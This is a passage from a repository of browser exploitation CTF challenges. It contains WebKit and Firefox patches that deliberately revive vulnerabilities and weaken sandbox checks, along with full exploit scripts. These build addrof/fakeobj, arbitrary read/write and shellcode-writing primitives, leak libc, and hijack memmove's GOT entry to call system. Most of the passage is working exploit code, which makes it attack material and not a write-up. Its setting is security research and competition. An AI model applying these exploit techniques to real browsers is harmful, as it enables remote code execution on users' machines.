propertyName, offset)); 54 | + } else { 55 | + if (!tryDeletePropertyQuickly(vm, thisObject, structure, propertyName, attributes, offset)) { 56 | + thisObject->setStructure(vm, Structure::removePropertyTransition(vm, structure, propertyName, offset)); 57 | + } 58 | + } 59 | 60 | - if (offset != invalidOffset) 61 | + if (offset != invalidOffset && (!isOutOfLineOffset(offset) || thisObject->butterfly())) 62 | thisObject->locationForOffset(offset)->clear(); 63 | } 64 | 65 | diff --git a/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in b/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in 66 | index 536481ecd6a..62189fea227 100644 67 | --- a/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in 68 | +++ b/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in 69 | @@ -25,6 +25,12 @@ 70 | (deny default (with partial-symbolication)) 71 | (allow system-audit file-read-metadata) 72 | 73 | +(allow file-read* (literal "/flag1")) 74 | + 75 | +(allow mach-lookup (global-name "net.saelo.shelld")) 76 | +(allow mach-lookup (global-name "net.saelo.capsd")) 77 | +(allow mach-lookup (global-name "net.saelo.capsd.xpc")) 78 | + 79 | #if PLATFORM(MAC) && __MAC_OS_X_VERSION_MIN_REQUIRED < 101300 80 | (import "system.sb") 81 | #else 82 | -------------------------------------------------------------------------------- /0x06-realworldctf2019-final-faststructcache-side-effect/bug.tar.xz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rtfingc/cve-repo/1be49bac8a3f20c3587246a3c853a29b7bd5f96c/0x06-realworldctf2019-final-faststructcache-side-effect/bug.tar.xz -------------------------------------------------------------------------------- /0x06-realworldctf2019-final-faststructcache-side-effect/exp.js: -------------------------------------------------------------------------------- 1 | var conversion_buffer = new ArrayBuffer(8) 2 | var f64 = new Float64Array(conversion_buffer) 3 | var i32 = new Uint32Array(conversion_buffer) 4 | 5 | var BASE32 = 0x100000000 6 | function f2i(f) { 7 | f64[0] = f 8 | return i32[0] + BASE32 * i32[1] 9 | } 10 | 11 | function i2f(i) { 12 | i32[0] = i % BASE32 13 | i32[1] = i / BASE32 14 | return f64[0] 15 | } 16 | 17 | function hex(addr){ 18 | return addr.toString(16); 19 | } 20 | 21 | let arrays = []; 22 | let regexp = new RegExp(); 23 | let leakme = [{}]; 24 | let jit_mode = 0; 25 | 26 | var global_arr = [1.1, 2.2]; 27 | 28 | 29 | const MAX_ARRAYS = 100; 30 | for (let i = 0; i < MAX_ARRAYS; i++) { 31 | arrays.push([1.1, 2.2]); 32 | } 33 | for (let i = 0; i < MAX_ARRAYS; i++) { 34 | arrays[i].__proto__ = regexp; 35 | } 36 | 37 | regexp.__proto__.__proto__ = new Proxy({}, { 38 | has() { 39 | if (jit_mode === 0) { 40 | global_arr[0] = leakme[0]; 41 | } 42 | else if (jit_mode === 1) { 43 | global_arr[1] = {}; 44 | } 45 | return true; 46 | } 47 | }); 48 | 49 | function addrof(obj){ 50 | function leak_opt(arr, arr2) { 51 | let tmp = 0 in arr2; 52 | return [tmp, arr[0]]; 53 | } 54 | jit_mode = 0; 55 | global_arr=[1.1,2.2]; 56 | leakme[0]= obj; 57 | let arr = arrays.pop(); 58 | for (let i = 0; i < 10000; i++) { 59 | leak_opt(global_arr, arr); 60 | } 61 | delete arr[0]; 62 | return f2i(leak_opt(global_arr,arr)[1]) 63 | } 64 | 65 | function fakeobj(addr){ 66 | function fake_opt(arr,arr2,fake_addr){ 67 | let tmp = 0 in arr2; 68 | arr[1] = fakeme; 69 | return tmp; 70 | } 71 | jit_mode = 1; 72 | global_arr = [1.1,2.2]; 73 | let fakeme = i2f(addr); 74 | let arr = arrays.pop(); 75 | for(let i=0;i<10000;i++){ 76 | fake_opt(global_arr,arr,fakeme); 77 | } 78 | delete arr[0]; 79 | fake_opt(global_arr,arr,fakeme); 80 | return global_arr[1]; 81 | } 82 | 83 | 84 | 85 | let a=[13.37,13.37]; 86 | a[0]={}; 87 | print(addrof(a).toString(16)) 88 | var arr_leak = new Array(1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8); 89 | function leakid(){ 90 | var unlinked_function_executable = { 91 | m_isBuitinFunction: i2f(0xdeadbeef), 92 | pad1: 1, pad2: 2, pad3: 3, pad4: 4, pad5: 5, pad6: 6, 93 | m_identifier: {}, 94 | }; 95 | 96 | var fake_function_executable = { 97 | pad0: 0, pad1: 1, pad2: 2, pad3: 3, pad4: 4, pad5: 5, pad6: 6, pad7: 7, pad8: 8, 98 | m_executable: unlinked_function_executable, 99 | }; 100 | 101 | var container = { 102 | jscell: i2f(0x00001a0000000000), 103 | btfly: {}, 104 | pad: 0, 105 | m_functionExecutable: fake_function_executable, 106 | }; 107 | 108 | var fake_addr = addrof(container)+0x10; 109 | fake_o = fakeobj(fake_addr); 110 | unlinked_function_executable.m_identifier = fake_o; 111 | container.btfly = arr_leak; 112 | var name_str = Function.prototype.toString.call(fake_o); 113 | return name_str.charCodeAt(9); 114 | 115 | } 116 | 117 | var victim=[13.37]; 118 | victim[0]=13.37; 119 | victim['prop']=13.37; 120 | victim['prop1']=13.37; 121 | var id = leakid(); 122 | 123 | i32[0]=id; 124 | i32[1]=0x01082307 - 0x20000; 125 | var container={ 126 | JSCell: f64[0], 127 | butterfly: victim, 128 | }; 129 | container_addr = addrof(container); 130 | 131 | hax = fakeobj(container_addr+0x10) 132 | print(describe(container)) 133 | 134 | var unboxed = [1.1]; 135 | unboxed[0]=3.3; 136 | 137 | var boxed = [{}]; 138 | 139 | print('-----') 140 | print(describe(unboxed)) 141 | print(describe(boxed)) 142 | print('-----') 143 | hax[1] = i2f(addrof(unboxed)); 144 | var shared = victim[1]; 145 | hax[1] = i2f(addrof(boxed)) 146 | victim[1] = shared; 147 | print(describe(unboxed)) 148 | print(describe(boxed)) 149 | 150 | 151 | 152 | var stage2={ 153 | addrof: function(obj){ 154 | boxed[0]=obj; 155 | return f2i(unboxed[0]) 156 | }, 157 | fakeobj: function(addr){ 158 | unboxed[0]=i2f(addr) 159 | return boxed[0] 160 | }, 161 | read64:function(addr){ 162 | hax[1]=i2f(addr+0x10) 163 | return this.addrof(victim.prop) 164 | }, 165 | write64:function(addr,data){ 166 | hax[1]=i2f(addr+0x10) 167 | victim.prop = this.fakeobj(data) 168 | }, 169 | write: function(addr, shellcode) { 170 | var theAddr = addr; 171 | for(var i=0;isetPrototypeWithoutTransition(vm, prototype); 92 | + return_value->setGlobalObject(vm, globalObject); 93 | + fastCacheSizeUsed += 1; 94 | + return return_value; 95 | + } 96 | + return Structure::create(vm, globalObject, prototype, typeInfo, classInfo); 97 | + } 98 | + 99 | +protected: 100 | + FastStructureCache(VM&, Structure* structure); 101 | +}; 102 | + 103 | +} // namespace JSC 104 | diff --git a/Source/JavaScriptCore/runtime/RegExpObject.h b/Source/JavaScriptCore/runtime/RegExpObject.h 105 | index a56c0acf98b..733dc6170dd 100644 106 | --- a/Source/JavaScriptCore/runtime/RegExpObject.h 107 | +++ b/Source/JavaScriptCore/runtime/RegExpObject.h 108 | @@ -20,13 +20,14 @@ 109 | 110 | #pragma once 111 | 112 | +#include "FastStructureCache.h" 113 | #include "JSObject.h" 114 | #include "RegExp.h" 115 | #include "ThrowScope.h" 116 | #include "TypeError.h" 117 | 118 | namespace JSC { 119 | - 120 | + 121 | class RegExpObject final : public JSNonFinalObject { 122 | public: 123 | using Base = JSNonFinalObject; 124 | @@ -102,7 +103,7 @@ public: 125 | 126 | static Structure* createStructure(VM& vm, JSGlobalObject* globalObject, JSValue prototype) 127 | { 128 | - return Structure::create(vm, globalObject, prototype, TypeInfo(RegExpObjectType, StructureFlags), info()); 129 | + return FastStructureCache::createStructureFastPath(vm, globalObject, prototype, TypeInfo(RegExpObjectType, StructureFlags), info()); 130 | } 131 | 132 | static ptrdiff_t offsetOfRegExpAndLastIndexIsNotWritableFlag() 133 | diff --git a/Source/JavaScriptCore/runtime/RegExpPrototype.cpp b/Source/JavaScriptCore/runtime/RegExpPrototype.cpp 134 | index 2a103ab0bf4..80c346fab45 100644 135 | --- a/Source/JavaScriptCore/runtime/RegExpPrototype.cpp 136 | +++ b/Source/JavaScriptCore/runtime/RegExpPrototype.cpp 137 | @@ -56,6 +56,10 @@ static EncodedJSValue JSC_HOST_CALL regExpProtoGetterFlags(JSGlobalObject*, Call 138 | 139 | const ClassInfo RegExpPrototype::s_info = { "Object", &Base::s_info, nullptr, nullptr, CREATE_METHOD_TABLE(RegExpPrototype) }; 140 | 141 | +Structure** FastStructureCache::fastCacheStructure = NULL; 142 | +uint64_t FastStructureCache::fastCacheSizeMax = 16; 143 | +uint64_t FastStructureCache::fastCacheSizeUsed = 0; 144 | + 145 | RegExpPrototype::RegExpPrototype(VM& vm, Structure* structure) 146 | : JSNonFinalObject(vm, structure) 147 | { 148 | diff --git a/Source/JavaScriptCore/runtime/RegExpPrototype.h b/Source/JavaScriptCore/runtime/RegExpPrototype.h 149 | index 460e2a45add..116826270ae 100644 150 | --- a/Source/JavaScriptCore/runtime/RegExpPrototype.h 151 | +++ b/Source/JavaScriptCore/runtime/RegExpPrototype.h 152 | @@ -20,6 +20,7 @@ 153 | 154 | #pragma once 155 | 156 | +#include "FastStructureCache.h" 157 | #include "JSObject.h" 158 | #include "RegExp.h" 159 | 160 | @@ -41,7 +42,7 @@ public: 161 | 162 | static Structure* createStructure(VM& vm, JSGlobalObject* globalObject, JSValue prototype) 163 | { 164 | - return Structure::create(vm, globalObject, prototype, TypeInfo(ObjectType, StructureFlags), info()); 165 | + return FastStructureCache::createStructureFastPath(vm, globalObject, prototype, TypeInfo(ObjectType, StructureFlags), info()); 166 | } 167 | 168 | protected: 169 | 170 | -------------------------------------------------------------------------------- /0x06-realworldctf2019-final-faststructcache-side-effect/readme: -------------------------------------------------------------------------------- 1 | The description: 2 | 3 | Safari 4 | Score: 500 5 | 6 | This challenge is based on an exploitation chain we built a few months ago. We revert apple's patch to revive the bug. Hopefully, it can give you some insights into browser research. -------------------------------------------------------------------------------- /0x06-realworldctf2019-final-faststructcache-side-effect/sandbox.diff: -------------------------------------------------------------------------------- 1 | diff --git a/Source/WebCore/platform/cocoa/PlaybackSessionModel.h b/Source/WebCore/platform/cocoa/PlaybackSessionModel.h 2 | index 021dd0ff350..286bdf07ca2 100644 3 | --- a/Source/WebCore/platform/cocoa/PlaybackSessionModel.h 4 | +++ b/Source/WebCore/platform/cocoa/PlaybackSessionModel.h 5 | @@ -1,5 +1,5 @@ 6 | /* 7 | - * Copyright (C) 2016-2019 Apple Inc. All rights reserved. 8 | + * Copyright (C) 2016-2017 Apple Inc. All rights reserved. 9 | * 10 | * Redistribution and use in source and binary forms, with or without 11 | * modification, are permitted provided that the following conditions 12 | @@ -30,7 +30,6 @@ 13 | #include 14 | #include 15 | #include 16 | -#include 17 | 18 | namespace WebCore { 19 | 20 | @@ -38,7 +37,7 @@ class TimeRanges; 21 | class PlaybackSessionModelClient; 22 | struct MediaSelectionOption; 23 | 24 | -class PlaybackSessionModel : public CanMakeWeakPtr { 25 | +class PlaybackSessionModel { 26 | public: 27 | virtual ~PlaybackSessionModel() { }; 28 | virtual void addClient(PlaybackSessionModelClient&) = 0; 29 | diff --git a/Source/WebCore/platform/ios/PlaybackSessionInterfaceAVKit.h b/Source/WebCore/platform/ios/PlaybackSessionInterfaceAVKit.h 30 | index 7dee1527ef2..ac64cb428a6 100644 31 | --- a/Source/WebCore/platform/ios/PlaybackSessionInterfaceAVKit.h 32 | +++ b/Source/WebCore/platform/ios/PlaybackSessionInterfaceAVKit.h 33 | @@ -1,5 +1,5 @@ 34 | /* 35 | - * Copyright (C) 2016-2019 Apple Inc. All rights reserved. 36 | + * Copyright (C) 2016-2018 Apple Inc. All rights reserved. 37 | * 38 | * Redistribution and use in source and binary forms, with or without 39 | * modification, are permitted provided that the following conditions 40 | @@ -62,7 +62,7 @@ public: 41 | return adoptRef(*new PlaybackSessionInterfaceAVKit(model)); 42 | } 43 | virtual ~PlaybackSessionInterfaceAVKit(); 44 | - PlaybackSessionModel* playbackSessionModel() const; 45 | + PlaybackSessionModel* playbackSessionModel() const { return m_playbackSessionModel; } 46 | 47 | // PlaybackSessionModelClient 48 | WEBCORE_EXPORT void durationChanged(double) override; 49 | diff --git a/Source/WebCore/platform/ios/PlaybackSessionInterfaceAVKit.mm b/Source/WebCore/platform/ios/PlaybackSessionInterfaceAVKit.mm 50 | index fcab26fbb72..6079c13c386 100644 51 | --- a/Source/WebCore/platform/ios/PlaybackSessionInterfaceAVKit.mm 52 | +++ b/Source/WebCore/platform/ios/PlaybackSessionInterfaceAVKit.mm 53 | @@ -1,5 +1,5 @@ 54 | /* 55 | - * Copyright (C) 2014-2019 Apple Inc. All rights reserved. 56 | + * Copyright (C) 2014, 2015 Apple Inc. All rights reserved. 57 | * 58 | * Redistribution and use in source and binary forms, with or without 59 | * modification, are permitted provided that the following conditions 60 | diff --git a/Source/WebCore/platform/mac/PlaybackSessionInterfaceMac.h b/Source/WebCore/platform/mac/PlaybackSessionInterfaceMac.h 61 | index 4c0421245d9..209b0958e07 100644 62 | --- a/Source/WebCore/platform/mac/PlaybackSessionInterfaceMac.h 63 | +++ b/Source/WebCore/platform/mac/PlaybackSessionInterfaceMac.h 64 | @@ -1,5 +1,5 @@ 65 | /* 66 | - * Copyright (C) 2016-2019 Apple Inc. All rights reserved. 67 | + * Copyright (C) 2016-2017 Apple Inc. All rights reserved. 68 | * 69 | * Redistribution and use in source and binary forms, with or without 70 | * modification, are permitted provided that the following conditions 71 | @@ -32,8 +32,6 @@ 72 | #include "PlaybackSessionModel.h" 73 | #include 74 | #include 75 | -#include 76 | -#include 77 | #include 78 | 79 | OBJC_CLASS WebPlaybackControlsManager; 80 | @@ -76,9 +74,9 @@ public: 81 | 82 | private: 83 | PlaybackSessionInterfaceMac(PlaybackSessionModel&); 84 | - WeakPtr m_playbackSessionModel; 85 | + PlaybackSessionModel* m_playbackSessionModel { nullptr }; 86 | #if ENABLE(WEB_PLAYBACK_CONTROLS_MANAGER) 87 | - WeakObjCPtr m_playbackControlsManager; 88 | + WebPlaybackControlsManager *m_playbackControlsManager { nullptr }; 89 | 90 | void updatePlaybackControlsManagerTiming(double currentTime, double anchorTime, double playbackRate, bool isPlaying); 91 | #endif 92 | diff --git a/Source/WebCore/platform/mac/PlaybackSessionInterfaceMac.mm b/Source/WebCore/platform/mac/PlaybackSessionInterfaceMac.mm 93 | index 28bbdf08c90..58fe62afcc6 100644 94 | --- a/Source/WebCore/platform/mac/PlaybackSessionInterfaceMac.mm 95 | +++ b/Source/WebCore/platform/mac/PlaybackSessionInterfaceMac.mm 96 | @@ -1,5 +1,5 @@ 97 | /* 98 | - * Copyright (C) 2016-2019 Apple Inc. All rights reserved. 99 | + * Copyright (C) 2016-2017 Apple Inc. All rights reserved. 100 | * 101 | * Redistribution and use in source and binary forms, with or without 102 | * modification, are permitted provided that the following conditions 103 | @@ -52,7 +52,7 @@ Ref PlaybackSessionInterfaceMac::create(PlaybackSes 104 | } 105 | 106 | PlaybackSessionInterfaceMac::PlaybackSessionInterfaceMac(PlaybackSessionModel& model) 107 | - : m_playbackSessionModel(makeWeakPtr(model)) 108 | + : m_playbackSessionModel(&model) 109 | { 110 | } 111 | 112 | @@ -63,7 +63,7 @@ PlaybackSessionInterfaceMac::~PlaybackSessionInterfaceMac() 113 | 114 | PlaybackSessionModel* PlaybackSessionInterfaceMac::playbackSessionModel() const 115 | { 116 | - return m_playbackSessionModel.get(); 117 | + return m_playbackSessionModel; 118 | } 119 | 120 | void PlaybackSessionInterfaceMac::durationChanged(double duration) 121 | @@ -110,14 +110,12 @@ void PlaybackSessionInterfaceMac::beginScrubbing() 122 | #if ENABLE(WEB_PLAYBACK_CONTROLS_MANAGER) 123 | updatePlaybackControlsManagerTiming(m_playbackSessionModel ? m_playbackSessionModel->currentTime() : 0, [[NSProcessInfo processInfo] systemUptime], 0, false); 124 | #endif 125 | - if (auto* model = playbackSessionModel()) 126 | - model->beginScrubbing(); 127 | + playbackSessionModel()->beginScrubbing(); 128 | } 129 | 130 | void PlaybackSessionInterfaceMac::endScrubbing() 131 | { 132 | - if (auto* model = playbackSessionModel()) 133 | - model->endScrubbing(); 134 | + playbackSessionModel()->endScrubbing(); 135 | } 136 | 137 | #if ENABLE(WEB_PLAYBACK_CONTROLS_MANAGER) 138 | @@ -216,7 +214,7 @@ void PlaybackSessionInterfaceMac::ensureControlsManager() 139 | 140 | WebPlaybackControlsManager *PlaybackSessionInterfaceMac::playBackControlsManager() 141 | { 142 | - return m_playbackControlsManager.getAutoreleased(); 143 | + return m_playbackControlsManager; 144 | } 145 | 146 | void PlaybackSessionInterfaceMac::setPlayBackControlsManager(WebPlaybackControlsManager *manager) 147 | diff --git a/Source/WebCore/platform/mac/VideoFullscreenInterfaceMac.mm b/Source/WebCore/platform/mac/VideoFullscreenInterfaceMac.mm 148 | index 15571cdc392..bc463fe9683 100644 149 | --- a/Source/WebCore/platform/mac/VideoFullscreenInterfaceMac.mm 150 | +++ b/Source/WebCore/platform/mac/VideoFullscreenInterfaceMac.mm 151 | @@ -367,8 +367,8 @@ VideoFullscreenInterfaceMac::VideoFullscreenInterfaceMac(PlaybackSessionInterfac 152 | 153 | VideoFullscreenInterfaceMac::~VideoFullscreenInterfaceMac() 154 | { 155 | - if (auto* model = m_playbackSessionInterface->playbackSessionModel()) 156 | - model->removeClient(*this); 157 | + if (m_playbackSessionInterface->playbackSessionModel()) 158 | + m_playbackSessionInterface->playbackSessionModel()->removeClient(*this); 159 | if (m_videoFullscreenModel) 160 | m_videoFullscreenModel->removeClient(*this); 161 | } 162 | diff --git a/Source/WebCore/platform/mac/WebPlaybackControlsManager.mm b/Source/WebCore/platform/mac/WebPlaybackControlsManager.mm 163 | index cdb4624fbca..e51156dabc1 100644 164 | --- a/Source/WebCore/platform/mac/WebPlaybackControlsManager.mm 165 | +++ b/Source/WebCore/platform/mac/WebPlaybackControlsManager.mm 166 | @@ -1,5 +1,5 @@ 167 | /* 168 | - * Copyright (C) 2016-2019 Apple Inc. All rights reserved. 169 | + * Copyright (C) 2016-2017 Apple Inc. All rights reserved. 170 | * 171 | * Redistribution and use in source and binary forms, with or without 172 | * modification, are permitted provided that the following conditions 173 | @@ -90,8 +90,7 @@ using WebCore::PlaybackSessionInterfaceMac; 174 | { 175 | UNUSED_PARAM(toleranceBefore); 176 | UNUSED_PARAM(toleranceAfter); 177 | - if (auto* model = _playbackSessionInterfaceMac->playbackSessionModel()) 178 | - model->seekToTime(time); 179 | + _playbackSessionInterfaceMac->playbackSessionModel()->seekToTime(time); 180 | } 181 | 182 | - (void)cancelThumbnailAndAudioAmplitudeSampleGeneration 183 | @@ -158,8 +157,7 @@ using WebCore::PlaybackSessionInterfaceMac; 184 | if (audioMediaSelectionOption && _audioTouchBarMediaSelectionOptions) 185 | index = [_audioTouchBarMediaSelectionOptions indexOfObject:audioMediaSelectionOption]; 186 | 187 | - if (auto* model = _playbackSessionInterfaceMac->playbackSessionModel()) 188 | - model->selectAudioMediaOption(index != NSNotFound ? index : UINT64_MAX); 189 | + _playbackSessionInterfaceMac->playbackSessionModel()->selectAudioMediaOption(index != NSNotFound ? index : UINT64_MAX); 190 | } 191 | 192 | - (NSArray *)legibleTouchBarMediaSelectionOptions 193 | @@ -189,8 +187,7 @@ using WebCore::PlaybackSessionInterfaceMac; 194 | if (legibleMediaSelectionOption && _legibleTouchBarMediaSelectionOptions) 195 | index = [_legibleTouchBarMediaSelectionOptions indexOfObject:legibleMediaSelectionOption]; 196 | 197 | - if (auto* model = _playbackSessionInterfaceMac->playbackSessionModel()) 198 | - model->selectLegibleMediaOption(index != NSNotFound ? index : UINT64_MAX); 199 | + _playbackSessionInterfaceMac->playbackSessionModel()->selectLegibleMediaOption(index != NSNotFound ? index : UINT64_MAX); 200 | } 201 | 202 | static AVTouchBarMediaSelectionOptionType toAVTouchBarMediaSelectionOptionType(MediaSelectionOption::Type type) 203 | diff --git a/Source/WebKit/UIProcess/Cocoa/VideoFullscreenManagerProxy.mm b/Source/WebKit/UIProcess/Cocoa/VideoFullscreenManagerProxy.mm 204 | index af827657f10..9e5d604d8dc 100644 205 | --- a/Source/WebKit/UIProcess/Cocoa/VideoFullscreenManagerProxy.mm 206 | +++ b/Source/WebKit/UIProcess/Cocoa/VideoFullscreenManagerProxy.mm 207 | @@ -526,7 +526,7 @@ void VideoFullscreenManagerProxy::setupFullscreenWithID(uint64_t contextId, uint 208 | 209 | void VideoFullscreenManagerProxy::setHasVideo(uint64_t contextId, bool hasVideo) 210 | { 211 | - MESSAGE_CHECK_CONTEXTID(contextId); 212 | + // MESSAGE_CHECK_CONTEXTID(contextId); 213 | ensureInterface(contextId).hasVideoChanged(hasVideo); 214 | } 215 | 216 | -------------------------------------------------------------------------------- /0x07-33c3-feuerfuchs-side-effect/exp.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 9 | 10 | 11 | 12 | 13 |

Please wait...

14 | 15 | 16 | -------------------------------------------------------------------------------- /0x07-33c3-feuerfuchs-side-effect/exp.js: -------------------------------------------------------------------------------- 1 | var conversion_buffer = new ArrayBuffer(8); 2 | var f64 = new Float64Array(conversion_buffer); 3 | var i32 = new Uint32Array(conversion_buffer); 4 | 5 | var BASE32 = 0x100000000; 6 | function f2i(f) { 7 | f64[0] = f; 8 | return i32[0] + BASE32 * i32[1]; 9 | } 10 | 11 | function i2f(i) { 12 | i32[0] = i % BASE32; 13 | i32[1] = i / BASE32; 14 | return f64[0]; 15 | } 16 | 17 | function hex(addr){ 18 | return '0x'+addr.toString(16); 19 | } 20 | function print(msg) { 21 | console.log(msg); 22 | document.body.innerText += '\n[+]: '+msg ; 23 | } 24 | 25 | 26 | function pwn(){ 27 | buffer1 = new ArrayBuffer(0x60); 28 | buffer2 = new ArrayBuffer(0x60); 29 | 30 | a1_8 = new Uint8Array(buffer1); 31 | a1_32 = new Uint32Array(buffer1); 32 | a1_64 = new Float64Array(buffer1); 33 | a2_8 = new Uint8Array(buffer2); 34 | a2_32 = new Uint32Array(buffer2); 35 | a2_64 = new Float64Array(buffer2); 36 | 37 | a1_32[0]=0x61626364; 38 | a1_32[1]=0x61626364; 39 | 40 | a2_32[0]=0x31323334; 41 | a2_32[1]=0x31323334; 42 | 43 | hax = { valueOf: function() { a1_8.offset = 0x58 ; return 0x0; } }; 44 | a1_8.copyWithin(hax,0x20,0x28); 45 | 46 | xul_base = f2i(a1_64[11]) -0x39b4bf0; 47 | memmove_got = xul_base + 0x000004b1f160 48 | print("xul_base "+hex(xul_base)); 49 | // 0x7fffecae9160 50 | print("memmove_got "+hex(memmove_got)); 51 | 52 | a1_8.offset = 0; 53 | a1_8.copyWithin(hax,0x28,0x30); 54 | buffer1_base = f2i(a1_64[11])*2 - 0xe0; 55 | print("buffer1_base "+hex(buffer1_base)); 56 | 57 | a1_8.offset = 0; 58 | hax = { valueOf: function() { a1_8.offset = 0x58 ; return 0x28; } }; 59 | a2_64[0]=i2f(buffer1_base/2); 60 | a1_8.copyWithin(hax,0x48,0x50); 61 | print(hex(f2i(a2_64[0]))); 62 | 63 | 64 | 65 | // leak libc addr 66 | function read64(addr){ 67 | a2_32 = new Uint32Array(buffer2); 68 | a2_64 = new Float64Array(buffer2); 69 | a2_32[10]=0x1000; 70 | a2_64[4]=i2f(addr/2); 71 | leak = new Float64Array(buffer1); 72 | return f2i(leak[0]); 73 | } 74 | function write64(addr,data){ 75 | a2_32 = new Uint32Array(buffer2); 76 | a2_64 = new Float64Array(buffer2); 77 | a2_32[10]=0x1000; 78 | a2_64[4]=i2f(addr/2); 79 | towrite = new Float64Array(buffer1); 80 | towrite[0] = i2f(data); 81 | } 82 | memmove_addr = read64(memmove_got) ; 83 | libc_base = memmove_addr - 0x14d9b0; 84 | system_addr = libc_base + 0x0000000000045390; 85 | print("libc_base "+hex(libc_base)); 86 | print("system_addr "+hex(system_addr)); 87 | 88 | return 0; 89 | var target = new Uint8Array(100); 90 | var cmd = "/usr/bin/xcalc"; 91 | for (var i = 0; i < cmd.length; i++) { 92 | target[i] = cmd.charCodeAt(i); 93 | } 94 | target[cmd.length]=0; 95 | write64(memmove_got,system_addr); 96 | target.copyWithin(0, 1); 97 | write64(memmove_got,memmove_addr); 98 | 99 | } 100 | 101 | -------------------------------------------------------------------------------- /0x07-33c3-feuerfuchs-side-effect/feuerfuchs.patch: -------------------------------------------------------------------------------- 1 | diff --git a/js/src/vm/TypedArrayObject.cpp b/js/src/vm/TypedArrayObject.cpp 2 | index 55644b1..d1cc250 100644 3 | --- a/js/src/vm/TypedArrayObject.cpp 4 | +++ b/js/src/vm/TypedArrayObject.cpp 5 | @@ -1279,7 +1279,13 @@ JS_FOR_EACH_TYPED_ARRAY(CHECK_TYPED_ARRAY_CONSTRUCTOR) 6 | static bool 7 | TypedArray_lengthGetter(JSContext* cx, unsigned argc, Value* vp) 8 | { 9 | - return TypedArrayObject::Getter(cx, argc, vp); \ 10 | + return TypedArrayObject::Getter(cx, argc, vp); 11 | +} 12 | + 13 | +static bool 14 | +TypedArray_lengthSetter(JSContext* cx, unsigned argc, Value* vp) 15 | +{ 16 | + return TypedArrayObject::Setter(cx, argc, vp); 17 | } 18 | 19 | static bool 20 | @@ -1289,6 +1295,18 @@ TypedArray_byteLengthGetter(JSContext* cx, unsigned argc, Value* vp) 21 | } 22 | 23 | static bool 24 | +TypedArray_offsetGetter(JSContext* cx, unsigned argc, Value* vp) 25 | +{ 26 | + return TypedArrayObject::Getter(cx, argc, vp); 27 | +} 28 | + 29 | +static bool 30 | +TypedArray_offsetSetter(JSContext* cx, unsigned argc, Value* vp) 31 | +{ 32 | + return TypedArrayObject::Setter(cx, argc, vp); 33 | +} 34 | + 35 | +static bool 36 | TypedArray_byteOffsetGetter(JSContext* cx, unsigned argc, Value* vp) 37 | { 38 | return TypedArrayObject::Getter(cx, argc, vp); 39 | @@ -1314,9 +1332,10 @@ TypedArray_bufferGetter(JSContext* cx, unsigned argc, Value* vp) 40 | 41 | /* static */ const JSPropertySpec 42 | TypedArrayObject::protoAccessors[] = { 43 | - JS_PSG("length", TypedArray_lengthGetter, 0), 44 | JS_PSG("buffer", TypedArray_bufferGetter, 0), 45 | + JS_PSGS("length", TypedArray_lengthGetter, TypedArray_lengthSetter, 0), 46 | JS_PSG("byteLength", TypedArray_byteLengthGetter, 0), 47 | + JS_PSGS("offset", TypedArray_offsetGetter, TypedArray_offsetSetter, 0), 48 | JS_PSG("byteOffset", TypedArray_byteOffsetGetter, 0), 49 | JS_PS_END 50 | }; 51 | diff --git a/js/src/vm/TypedArrayObject.h b/js/src/vm/TypedArrayObject.h 52 | index 6ac951a..3ae8934 100644 53 | --- a/js/src/vm/TypedArrayObject.h 54 | +++ b/js/src/vm/TypedArrayObject.h 55 | @@ -135,12 +135,44 @@ class TypedArrayObject : public NativeObject 56 | MOZ_ASSERT(v.toInt32() >= 0); 57 | return v; 58 | } 59 | + static Value offsetValue(TypedArrayObject* tarr) { 60 | + return Int32Value(tarr->getFixedSlot(BYTEOFFSET_SLOT).toInt32() / tarr->bytesPerElement()); 61 | + } 62 | + static bool offsetSetter(JSContext* cx, Handle tarr, uint32_t newOffset) { 63 | + // Ensure that the new offset does not extend beyond the current bounds 64 | + if (newOffset > tarr->offset() + tarr->length()) 65 | + return false; 66 | + 67 | + int32_t diff = newOffset - tarr->offset(); 68 | + 69 | + ensureHasBuffer(cx, tarr); 70 | + uint8_t* ptr = static_cast(tarr->viewDataEither_()); 71 | + 72 | + tarr->setFixedSlot(LENGTH_SLOT, Int32Value(tarr->length() - diff)); 73 | + tarr->setFixedSlot(BYTEOFFSET_SLOT, Int32Value(newOffset * tarr->bytesPerElement())); 74 | + tarr->setPrivate(ptr + diff * tarr->bytesPerElement()); 75 | + 76 | + return true; 77 | + } 78 | static Value byteLengthValue(TypedArrayObject* tarr) { 79 | return Int32Value(tarr->getFixedSlot(LENGTH_SLOT).toInt32() * tarr->bytesPerElement()); 80 | } 81 | static Value lengthValue(TypedArrayObject* tarr) { 82 | return tarr->getFixedSlot(LENGTH_SLOT); 83 | } 84 | + static bool lengthSetter(JSContext* cx, Handle tarr, uint32_t newLength) { 85 | + if (newLength > tarr->length()) { 86 | + // Ensure the underlying buffer is large enough 87 | + ensureHasBuffer(cx, tarr); 88 | + ArrayBufferObjectMaybeShared* buffer = tarr->bufferEither(); 89 | + if (tarr->byteOffset() + newLength * tarr->bytesPerElement() > buffer->byteLength()) 90 | + return false; 91 | + } 92 | + 93 | + tarr->setFixedSlot(LENGTH_SLOT, Int32Value(newLength)); 94 | + return true; 95 | + } 96 | + 97 | 98 | static bool 99 | ensureHasBuffer(JSContext* cx, Handle tarray); 100 | @@ -154,6 +186,9 @@ class TypedArrayObject : public NativeObject 101 | uint32_t byteOffset() const { 102 | return byteOffsetValue(const_cast(this)).toInt32(); 103 | } 104 | + uint32_t offset() const { 105 | + return offsetValue(const_cast(this)).toInt32(); 106 | + } 107 | uint32_t byteLength() const { 108 | return byteLengthValue(const_cast(this)).toInt32(); 109 | } 110 | @@ -280,6 +315,29 @@ class TypedArrayObject : public NativeObject 111 | return CallNonGenericMethod>(cx, args); 112 | } 113 | 114 | + template tarr, uint32_t value)> 115 | + static bool 116 | + SetterImpl(JSContext* cx, const CallArgs& args) 117 | + { 118 | + MOZ_ASSERT(is(args.thisv())); 119 | + double value; 120 | + if (!ToNumber(cx, args.get(0), &value)) 121 | + return false; 122 | + 123 | + Rooted thisv(cx, &args.thisv().toObject().as()); 124 | + args.rval().setBoolean(ValueSetter(cx, thisv, uint32_t(value))); 125 | + return true; 126 | + } 127 | + 128 | + template tarr, uint32_t value)> 129 | + static bool 130 | + 